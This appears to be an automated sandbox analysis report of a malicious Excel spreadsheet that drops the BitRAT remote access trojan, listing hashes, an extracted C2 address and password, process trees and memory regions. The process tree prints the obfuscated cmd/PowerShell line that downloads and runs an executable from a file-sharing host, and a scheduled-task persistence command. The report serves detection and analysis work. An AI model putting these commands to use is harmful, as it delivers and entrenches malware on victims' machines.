Analysis
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max time kernel
31s -
max time network
74s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
18-09-2023 15:12
Behavioral task
behavioral1
Sample
Romania_Request_Imun_SRL_09_2023.xls
Resource
win7-20230831-en
General
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Target
Romania_Request_Imun_SRL_09_2023.xls
-
Size
100KB
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MD5
d8c96466da14e352c8a11c86a61200fa
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SHA1
738380f30ec9f2448875dd97759bf49aa292cf46
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SHA256
896dd0f8a116edbf4f54be7fac310410467043ecbd86b2d4d66089f14bde6d01
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SHA512
d81aafbea2392976e331e00ca0cd5c4054f7aab57a640af8a15c6143846c828c0235f34a94721313dec400a8b0724111ed647865846971d33ccca7a57bf5f70c
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SSDEEP
3072:0rxEtjPOtioVjDGUU1qfDlaGGx+cL2QnA9tJE2zuxq+fr9wBLa71ba2ryLTHeY+:axEtjPOtioVjDGUU1qfDlavx+W2QnAnF
Malware Config
Extracted
bitrat
1.38
185.225.75.68:3569
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communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
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tor_process
tor
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1236 4076 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 28 3416 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
Processes:
l6hv4.exel6hv4.exeuno.exepid process 4516 l6hv4.exe 2720 l6hv4.exe 1124 uno.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
Processes:
l6hv4.exepid process 2720 l6hv4.exe 2720 l6hv4.exe 2720 l6hv4.exe 2720 l6hv4.exe 2720 l6hv4.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
l6hv4.exedescription pid process target process PID 4516 set thread context of 2720 4516 l6hv4.exe l6hv4.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4076 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3416 powershell.exe 3416 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exel6hv4.exedescription pid process Token: SeDebugPrivilege 3416 powershell.exe Token: SeShutdownPrivilege 2720 l6hv4.exe -
Suspicious use of SetWindowsHookEx 16 IoCs
Processes:
EXCEL.EXEl6hv4.exepid process 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 4076 EXCEL.EXE 2720 l6hv4.exe 2720 l6hv4.exe -
Suspicious use of WriteProcessMemory 30 IoCs
Processes:
EXCEL.EXEcmd.exepowershell.exel6hv4.execmd.exedescription pid process target process PID 4076 wrote to memory of 1236 4076 EXCEL.EXE cmd.exe PID 4076 wrote to memory of 1236 4076 EXCEL.EXE cmd.exe PID 1236 wrote to memory of 3416 1236 cmd.exe powershell.exe PID 1236 wrote to memory of 3416 1236 cmd.exe powershell.exe PID 3416 wrote to memory of 4516 3416 powershell.exe l6hv4.exe PID 3416 wrote to memory of 4516 3416 powershell.exe l6hv4.exe PID 3416 wrote to memory of 4516 3416 powershell.exe l6hv4.exe PID 4516 wrote to memory of 2720 4516 l6hv4.exe l6hv4.exe PID 4516 wrote to memory of 2720 4516 l6hv4.exe l6hv4.exe PID 4516 wrote to memory of 2720 4516 l6hv4.exe l6hv4.exe PID 4516 wrote to memory of 2720 4516 l6hv4.exe l6hv4.exe PID 4516 wrote to memory of 2720 4516 l6hv4.exe l6hv4.exe PID 4516 wrote to memory of 2720 4516 l6hv4.exe l6hv4.exe PID 4516 wrote to memory of 2720 4516 l6hv4.exe l6hv4.exe PID 4516 wrote to memory of 2720 4516 l6hv4.exe l6hv4.exe PID 4516 wrote to memory of 2720 4516 l6hv4.exe l6hv4.exe PID 4516 wrote to memory of 2720 4516 l6hv4.exe l6hv4.exe PID 4516 wrote to memory of 2720 4516 l6hv4.exe l6hv4.exe PID 4516 wrote to memory of 4440 4516 l6hv4.exe cmd.exe PID 4516 wrote to memory of 4440 4516 l6hv4.exe cmd.exe PID 4516 wrote to memory of 4440 4516 l6hv4.exe cmd.exe PID 4516 wrote to memory of 3644 4516 l6hv4.exe cmd.exe PID 4516 wrote to memory of 3644 4516 l6hv4.exe cmd.exe PID 4516 wrote to memory of 3644 4516 l6hv4.exe cmd.exe PID 4516 wrote to memory of 4636 4516 l6hv4.exe cmd.exe PID 4516 wrote to memory of 4636 4516 l6hv4.exe cmd.exe PID 4516 wrote to memory of 4636 4516 l6hv4.exe cmd.exe PID 3644 wrote to memory of 4740 3644 cmd.exe schtasks.exe PID 3644 wrote to memory of 4740 3644 cmd.exe schtasks.exe PID 3644 wrote to memory of 4740 3644 cmd.exe schtasks.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Romania_Request_Imun_SRL_09_2023.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4076 -
C:\Windows\SYSTEM32\cmd.execmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/qyAOUa1rJz/Betro.e^xe -o C:\Users\Public\l6hv4.exe;C:\Users\Public\l6hv4.exe2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell /W 01 curl https://transfer.sh/get/qyAOUa1rJz/Betro.exe -o C:\Users\Public\l6hv4.exe;C:\Users\Public\l6hv4.exe3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3416 -
C:\Users\Public\l6hv4.exe"C:\Users\Public\l6hv4.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4516 -
C:\Users\Public\l6hv4.exe"C:\Users\Public\l6hv4.exe"5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2720 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Public\l6hv4.exe" "C:\Users\Admin\AppData\Roaming\uno\uno.exe"5⤵PID:4636
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C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\uno\uno.exe'" /f5⤵
- Suspicious use of WriteProcessMemory
PID:3644 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\uno\uno.exe'" /f6⤵
- Creates scheduled task(s)
PID:4740 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\uno"5⤵PID:4440
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C:\Users\Admin\AppData\Roaming\uno\uno.exeC:\Users\Admin\AppData\Roaming\uno\uno.exe1⤵
- Executes dropped EXE
PID:1124
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ynt0ytmq.xii.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\uno\uno.exeFilesize
7.6MB
MD51c9f3c0258e923c07e1943498c789a3d
SHA1e908faaa5eff19c6b653241253ecc6f28c83f436
SHA256925329eac4d8dfc71dfd0d222e935b31fb340bbb70367c7abf6553d921b64e55
SHA51292c16e56ae3d830e2110f97159d6f19fbf91b8bc56d29be207a0da12bd388a0fe68dd13c63dba5266d7d48be9f423d75c1e1e3ec16e6ad1458940f0bb0d0cb0b
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C:\Users\Admin\AppData\Roaming\uno\uno.exeFilesize
256KB
MD5bfa9c7bea19db4dab09d5e613ca66866
SHA13e191cc38958a0c774e0a0401b366b9f2a7cb439
SHA256fd1ea75d6e6978d7be0115893592c4583cc8f089107f3747b8e8ddd4e9da131c
SHA5126aaeb69d47c34a640716479ee98ba73c4c537abf1c80295065c3f994ab65fd4d477b03c53e0cd40a7e21f9cf8c262815cf75f5602130c390dc2363b6ad72d61d
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C:\Users\Admin\AppData\Roaming\uno\uno.exeFilesize
39KB
MD544b9bd1a68703d5d8d1b115d58fcf8f9
SHA14560e7c1e80f901780a3a0defcd4928a65007409
SHA256ce593003296e79ff26b4961faa89535d80ca4476a56b1d2bf5cfd4635d9e7cb8
SHA5125587fd30d4b425307ce58a013de1586e0f977e1a79ae7a510c70abd0805a9344f3749cf53089d05614b183225ccfae198d9535ef48165f5c286224433d9f5874
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C:\Users\Public\l6hv4.exeFilesize
7.6MB
MD51c9f3c0258e923c07e1943498c789a3d
SHA1e908faaa5eff19c6b653241253ecc6f28c83f436
SHA256925329eac4d8dfc71dfd0d222e935b31fb340bbb70367c7abf6553d921b64e55
SHA51292c16e56ae3d830e2110f97159d6f19fbf91b8bc56d29be207a0da12bd388a0fe68dd13c63dba5266d7d48be9f423d75c1e1e3ec16e6ad1458940f0bb0d0cb0b
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C:\Users\Public\l6hv4.exeFilesize
7.6MB
MD51c9f3c0258e923c07e1943498c789a3d
SHA1e908faaa5eff19c6b653241253ecc6f28c83f436
SHA256925329eac4d8dfc71dfd0d222e935b31fb340bbb70367c7abf6553d921b64e55
SHA51292c16e56ae3d830e2110f97159d6f19fbf91b8bc56d29be207a0da12bd388a0fe68dd13c63dba5266d7d48be9f423d75c1e1e3ec16e6ad1458940f0bb0d0cb0b
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C:\Users\Public\l6hv4.exeFilesize
7.6MB
MD51c9f3c0258e923c07e1943498c789a3d
SHA1e908faaa5eff19c6b653241253ecc6f28c83f436
SHA256925329eac4d8dfc71dfd0d222e935b31fb340bbb70367c7abf6553d921b64e55
SHA51292c16e56ae3d830e2110f97159d6f19fbf91b8bc56d29be207a0da12bd388a0fe68dd13c63dba5266d7d48be9f423d75c1e1e3ec16e6ad1458940f0bb0d0cb0b
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memory/2720-84-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-74-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-80-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-79-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-78-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-76-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-75-0x00000000748F0000-0x0000000074929000-memory.dmpFilesize
228KB
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memory/2720-81-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-82-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-68-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-70-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-67-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-83-0x0000000074C70000-0x0000000074CA9000-memory.dmpFilesize
228KB
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memory/2720-85-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-65-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/2720-86-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/3416-49-0x000001B468C90000-0x000001B468CA0000-memory.dmpFilesize
64KB
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memory/3416-32-0x000001B469340000-0x000001B469362000-memory.dmpFilesize
136KB
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memory/3416-40-0x000001B468C90000-0x000001B468CA0000-memory.dmpFilesize
64KB
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memory/3416-37-0x00007FFA15D20000-0x00007FFA167E1000-memory.dmpFilesize
10.8MB
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memory/3416-38-0x000001B468C90000-0x000001B468CA0000-memory.dmpFilesize
64KB
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memory/3416-58-0x00007FFA15D20000-0x00007FFA167E1000-memory.dmpFilesize
10.8MB
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memory/3416-39-0x000001B468C90000-0x000001B468CA0000-memory.dmpFilesize
64KB
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memory/3416-46-0x00007FFA15D20000-0x00007FFA167E1000-memory.dmpFilesize
10.8MB
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memory/3416-50-0x000001B468C90000-0x000001B468CA0000-memory.dmpFilesize
64KB
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memory/4076-22-0x000001F48AA20000-0x000001F48B220000-memory.dmpFilesize
8.0MB
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memory/4076-8-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-44-0x000001F48AA20000-0x000001F48B220000-memory.dmpFilesize
8.0MB
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memory/4076-43-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-1-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-2-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-4-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-0-0x00007FF9FE290000-0x00007FF9FE2A0000-memory.dmpFilesize
64KB
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memory/4076-3-0x00007FF9FE290000-0x00007FF9FE2A0000-memory.dmpFilesize
64KB
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memory/4076-42-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-5-0x00007FF9FE290000-0x00007FF9FE2A0000-memory.dmpFilesize
64KB
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memory/4076-45-0x000001F48AA20000-0x000001F48B220000-memory.dmpFilesize
8.0MB
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memory/4076-6-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-16-0x00007FF9FC230000-0x00007FF9FC240000-memory.dmpFilesize
64KB
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memory/4076-7-0x00007FF9FE290000-0x00007FF9FE2A0000-memory.dmpFilesize
64KB
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memory/4076-15-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-14-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-13-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-12-0x00007FF9FC230000-0x00007FF9FC240000-memory.dmpFilesize
64KB
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memory/4076-11-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-10-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4076-25-0x000001F48AA20000-0x000001F48B220000-memory.dmpFilesize
8.0MB
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memory/4076-9-0x00007FF9FE290000-0x00007FF9FE2A0000-memory.dmpFilesize
64KB
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memory/4076-41-0x00007FFA3E210000-0x00007FFA3E405000-memory.dmpFilesize
2.0MB
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memory/4516-63-0x00000000055E0000-0x00000000055F0000-memory.dmpFilesize
64KB
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memory/4516-71-0x00000000749E0000-0x0000000075190000-memory.dmpFilesize
7.7MB
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memory/4516-64-0x0000000007150000-0x00000000078DA000-memory.dmpFilesize
7.5MB
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memory/4516-62-0x0000000005BA0000-0x0000000006144000-memory.dmpFilesize
5.6MB
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memory/4516-61-0x0000000000460000-0x0000000000BFC000-memory.dmpFilesize
7.6MB
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memory/4516-60-0x00000000749E0000-0x0000000075190000-memory.dmpFilesize
7.7MB